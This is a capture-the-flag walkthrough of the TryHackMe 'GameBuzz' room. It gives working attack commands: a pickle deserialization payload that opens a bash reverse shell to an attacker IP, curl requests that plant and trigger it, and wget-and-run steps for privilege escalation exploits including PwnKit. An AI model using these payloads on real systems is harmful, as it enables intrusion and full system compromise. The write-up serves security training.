Platform: TryHackMe
Room: GameBuzz
OS: Ubuntu 18.04 (Linux 4.15)
Difficulty: Medium
- Attack Chain Summary
- 1. Reconnaissance — Nmap
- 2. Web Enumeration — Main Site
- 3. Virtual Host Configuration
- 4. Subdomain Fuzzing — ffuf
- 5. Directory Fuzzing on dev.incognito.com
- 6. File Upload Page Discovery
- 7. Understanding the Upload Mechanism — Burp Suite
- 8. Python Pickle Deserialization RCE
- 9. Initial Shell — www-data
- 10. Post-Exploitation Enumeration
- 11. Credential Discovery — /var/mail
- 12. Cracking the MD5 Hash
- 13. Port Knocking — knockd
- 14. Lateral Movement — su dev2
- 15. Privilege Escalation — PwnKit CVE-2021-4034
- 16. Root Flag
- Flags
- Tools Used
- Key Takeaways
Nmap → Port 80 (Apache 2.4.29)
└─► Virtual host fuzzing (ffuf) → dev.incognito.com
└─► Directory fuzzing → /secret/upload/
└─► Pickle deserialization RCE (file upload + /fetch endpoint)
└─► Shell as www-data
└─► /var/mail/dev1 → MD5 hash → cracked: "Password"
└─► knockd config → port knock 5020,6120,7340
└─► su dev2 (no password needed)
└─► SUID pkexec → PwnKit CVE-2021-4034
└─► ROOT
Starting with a standard service version scan against the target:
nmap -sV -v 10.113.131.66| Port | State | Service | Version |
|---|---|---|---|
| 22/tcp | filtered | ssh | — |
| 80/tcp | open | http | Apache httpd 2.4.29 (Ubuntu) |
Observations:
- SSH on port 22 is filtered — blocked by firewall, not accessible directly
- Only HTTP on port 80 is exposed — this is our attack surface
- Apache 2.4.29 on Ubuntu (later identified as 18.04 with kernel 4.15)
Navigating to http://10.113.131.66 reveals a gaming company website called JACKPIRO:
The site advertises an "Amazing 3D Game" with Lorem Ipsum placeholder text. Navigation includes: GAME, SOFTWARE, ABOUT, TESTIMONIAL, CONTACT, and Login/Signup buttons. The connection is plain HTTP (no HTTPS).
The server likely uses virtual hosting — serving different content based on the Host: header. We add the target IP to /etc/hosts with the hostname discovered from the site context:
sudo nano /etc/hosts10.113.131.66 incognito dev.incognito.com
This allows us to reach the server using hostnames instead of just the raw IP.
We fuzz for virtual hosts by injecting wordlist entries into the Host: header. The -fs 20637 flag filters out the default response (main site = 20637 bytes), leaving only unique responses:
ffuf -u http://10.113.131.66/ \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \
-H "Host: FUZZ.incognito.com" \
-fs 20637| Subdomain | Status | Size | Duration |
|---|---|---|---|
dev |
200 | 57 bytes | 90ms |
Finding: dev.incognito.com returns a unique 57-byte response — a hidden developer subdomain. We add it to /etc/hosts to access it in the browser.
With dev.incognito.com accessible, we enumerate its directories:
ffuf -u http://dev.incognito.com/FUZZ \
-w /usr/share/wordlists/dirb/big.txt \
-ic -c| Path | Status | Size | Notes |
|---|---|---|---|
.htpasswd |
403 | 282 | Forbidden |
.htaccess |
403 | 282 | Forbidden |
robots.txt |
200 | 32 | Readable |
secret |
301 | 323 | Redirect — investigate! |
server-status |
403 | 282 | Forbidden |
The secret directory with a 301 redirect is immediately interesting. Following it leads to /secret/upload/.
Navigating to http://dev.incognito.com/secret/upload/ reveals a minimal file upload form:
"Upload a File: [Browse...] [Start Upload]"
Viewing the page source shows the form POSTs to script.php. A quick GET request to script.php returns:
Bruhh!
This confirms the endpoint only processes POST requests with actual file uploads. The key question is: what does it do with the uploaded files?
We intercept requests with Burp Suite to understand the full upload flow.
Testing a plain text file upload (test.txt):
Response: The file test.txt has been uploaded — server accepts any file type, no restrictions.
Testing the actual shell payload upload:
The Burp request shows the raw multipart form data with our pickle payload. Response confirms: The file shell has been uploaded.
Discovering the /fetch endpoint:
While investigating the main application at http://10.10.162.158, Burp reveals a /fetch endpoint that accepts a JSON body:
POST /fetch HTTP/1.1
Host: 10.10.162.158
Content-Type: application/json
{"object":"/var/upload/shell"}This is the trigger — the server reads the file at the given path and deserializes it with Python's pickle module. This is the RCE vector.
Python's pickle module serializes/deserializes Python objects. When a pickle-serialized object is loaded, Python calls the __reduce__ method automatically — making it possible to embed arbitrary OS commands that execute upon deserialization. There is no safe way to deserialize untrusted pickle data.
We first examine a reference implementation of the attack:
We create exploit.py with our own listener IP and port:
nano exploit.pyimport pickle
import os
class RCE:
def __reduce__(self):
cmd = ("bash -c 'bash -i >& /dev/tcp/192.168.152.250/7777 0>&1'")
return os.system, (cmd,)
pickle.dump(RCE(), open("shell", "wb"))When deserialized, the __reduce__ method fires automatically and executes our reverse shell command.
python3 exploit.py
ls -laThe exploit generates a binary file shell (93 bytes) containing our malicious serialized object.
python3 exploit.py && ls -lacurl -X POST http://dev.incognito.com/secret/upload/script.php \
-F "the_file=@shell" \
-F "submit=Start Upload"
# Response: The file shell has been uploadedpenelope -p 7777curl -X POST http://10.113.131.66/fetch \
-H "Content-Type: application/json" \
-d '{"object":"/var/upload/shell"}'The server reads /var/upload/shell, deserializes it with pickle, and our __reduce__ method fires — sending a reverse shell to our listener:
Shell obtained: www-data@incognito with PTY upgrade via Python3. We're inside the machine.
We try a kernel exploit (DirtyFrag) but the kernel is not vulnerable:
cd /tmp
wget http://192.168.152.250:8888/exp
chmod +x exp
./expdirtyfrag: failed (rc=4)
Kernel 4.15 is not vulnerable to this particular exploit. We need to enumerate further.
We investigate why SSH is inaccessible and examine the configuration:
cat /etc/ssh/sshd_config | grep -i "PasswordAuth\|PermitRoot\|AllowUsers"Password authentication is enabled but SSH itself is filtered by firewall. Note www-data is in group nosu which blocks su usage.
Running Linpeas for automated enumeration, it highlights mail files:
We check the mail spool directly:
cd /var/mail
ls -la
cat dev1Full mail content:
Hey, your password has been changed, dc647eb65e6711e155375218212b3964.
Knock yourself in!
Two critical pieces of information:
- A hash:
dc647eb65e6711e155375218212b3964 - A hint: "Knock yourself in!" — this is a reference to port knocking
The hash is submitted to CrackStation:
| Hash | Type | Result |
|---|---|---|
dc647eb65e6711e155375218212b3964 |
MD5 | Password |
The plaintext password for dev1 is simply: Password
The phrase "Knock yourself in!" is a direct hint at port knocking — a method where sending TCP SYN packets to a specific sequence of ports temporarily opens a firewall rule. We find the configuration:
cat /etc/knockd.conf[openSSH]
sequence = 5020, 6120, 7340
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
tcpflags = syn
[closeSSH]
sequence = 9000, 8000, 7000
seq_timeout = 15
command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j REJECT
tcpflags = synTo open SSH: knock ports 5020 → 6120 → 7340 within 15 seconds.
To close SSH: knock ports 9000 → 8000 → 7000.
From our Kali machine:
knock 10.114.141.146 5020 6120 7340
ssh dev1@10.114.141.146
# Password: PasswordWhile SSH access to dev1 proved difficult due to version compatibility issues with our custom sshd setup, we discovered that su dev2 works without a password from the www-data session:
su dev2
id
# uid=1000(dev2) gid=1000(dev2) groups=1000(dev2),24(cdrom),30(dip),46(plugdev),1002(nosu)cat /home/dev2/user.txtUser flag obtained! 🎉
sudo -l
# [sudo] password for dev2:
# Sorry, try again.Password for dev2 is unknown and sudo is not available without it.
find / -perm -4000 2>/dev/nullKey finding: /usr/bin/pkexec has the SUID bit set.
pkexec is vulnerable to CVE-2021-4034 (PwnKit) — a memory corruption vulnerability in Polkit's pkexec utility that allows any local unprivileged user to gain full root privileges. It affects virtually all Linux distributions that ship pkexec.
- CVE: CVE-2021-4034
- Exploit: https://github.com/ly4k/PwnKit
On Kali — clone and serve:
git clone https://github.com/ly4k/PwnKit
cd PwnKit
python3 -m http.server 8888On the target — download and execute:
cd /tmp
wget http://192.168.152.250:8888/PwnKit
chmod +x PwnKit
./PwnKituid=0(root) gid=0(root) groups=0(root),...
We are root!
cd /root
ls
cat root.txt| Flag | Value |
|---|---|
| 🚩 User | d14def35ed0bd914c1c5881fa0fa8090 |
| 🚩 Root | 9dcb607e31348671de36b9eb7446cb59 |
| Tool | Purpose | Link |
|---|---|---|
| Nmap | Port scanning & service detection | https://nmap.org |
| ffuf | Virtual host & directory fuzzing | https://github.com/ffuf/ffuf |
| Burp Suite | HTTP traffic interception & analysis | https://portswigger.net/burp |
| Python (pickle) | Crafting deserialization RCE payload | https://docs.python.org/3/library/pickle.html |
| curl | File upload & /fetch endpoint trigger | https://curl.se |
| Penelope | Reverse shell handler with PTY upgrade | https://github.com/brightio/penelope |
| CrackStation | MD5 hash cracking | https://crackstation.net |
| knock | Port knocking client | http://www.zeroflux.org/projects/knock |
| PwnKit (ly4k) | CVE-2021-4034 local privilege escalation | https://github.com/ly4k/PwnKit |
1. Virtual Host Enumeration is Critical
The main site gave nothing away. The hidden dev.incognito.com subdomain was the entire attack path. Always fuzz vhosts, not just directories.
2. Python Pickle is Inherently Unsafe for Untrusted Input
pickle.loads() on user-controlled data is equivalent to remote code execution. Use JSON or other safe formats for any externally supplied serialized data.
3. Sensitive Data Leaks in /var/mail
Credentials left in system mail spools are a common finding in post-exploitation. Always check /var/mail/ and /var/spool/mail/.
4. Port Knocking — Security Through Obscurity
Port knocking hides services from casual scanners but provides no real security once an attacker has filesystem access. The sequence is trivially readable from knockd.conf.
5. PwnKit (CVE-2021-4034)
A critical unpatched pkexec with SUID is game over on most Linux systems. Patch Polkit, or remove the SUID bit from pkexec if it's not needed: chmod 0755 /usr/bin/pkexec.
























